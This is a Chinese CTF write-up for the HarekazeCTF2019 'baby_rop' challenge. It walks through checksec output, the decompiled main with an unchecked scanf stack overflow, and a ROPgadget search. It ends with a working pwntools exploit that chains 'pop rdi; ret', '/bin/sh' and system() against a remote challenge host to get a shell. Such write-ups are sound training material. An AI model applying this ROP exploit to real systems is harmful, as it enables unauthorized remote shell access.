HarekazeCTF2019 baby_rop

思路

先使用 checksec 检查

┌──(kali㉿kali)-[~/桌面]
└─$ checksec ./babyrop           
[*] '/home/kali/桌面/babyrop'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

发现为 64 位小端序,只开了 NX 保护和 RELRO

使用 IDA Pro 查看

发现 system 函数

image.png

发现 '/bin/sh' 字符串

image.png

查看 main 函数

int __fastcall main(int argc, const char **argv, const char **envp)
{
  char v4[16]; // [rsp+0h] [rbp-10h] BYREF

  system("echo -n \"What's your name? \"");
  __isoc99_scanf("%s", v4);
  printf("Welcome to the Pwn World, %s!\n", v4);
  return 0;
}

v4 是一个栈中的变量,距离 rbp0x10 个字节,但是在输入时没有检查,可以构造成栈溢出

由于是 64 位的,所以需要使用 ROPgadget 查找 pop rdi; ret 用于将变量值传递给寄存器

┌──(kali㉿kali)-[~/桌面]
└─$ ROPgadget --binary ./babyrop | grep 'pop rdi'       
/usr/local/bin/ROPgadget:4: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  __import__('pkg_resources').run_script('ROPGadget==7.4', 'ROPgadget')
0x0000000000400683 : pop rdi ; ret

通过 v4 变量的栈溢出,先使用 pop rdi; ret 将变量值传递给寄存器,而后调用 system 函数,实现 getshell

exp

# python3.11.6
from pwn import *

binname = 'babyrop'
context(arch='amd64', os='linux', log_level='debug')

# io = process(binname)
io = remote('node5.buuoj.cn', 27594)

system_addr = 0x0000000000400490
binsh_addr = 0x0000000000601048
poprdi_addr = 0x0000000000400683

payload = b'a'*0x10 + b'b'*8 + p64(poprdi_addr) + p64(binsh_addr) + p64(system_addr)
io.recv()
io.sendline(payload)
io.interactive()

总结

非常经典的 ROP

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值